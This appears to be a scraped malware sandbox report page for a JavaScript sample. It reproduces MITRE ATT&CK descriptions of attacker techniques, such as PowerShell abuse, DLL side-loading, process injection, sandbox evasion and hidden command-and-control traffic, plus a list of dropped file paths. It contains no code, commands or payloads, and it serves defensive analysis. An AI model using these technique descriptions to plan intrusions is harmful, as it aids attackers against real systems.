Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 23754232101540928500.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\c7bee8aa-c3f2-4511-bf04-479f6693dce3.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.3348

Windows Analysis Report
23754232101540928500.js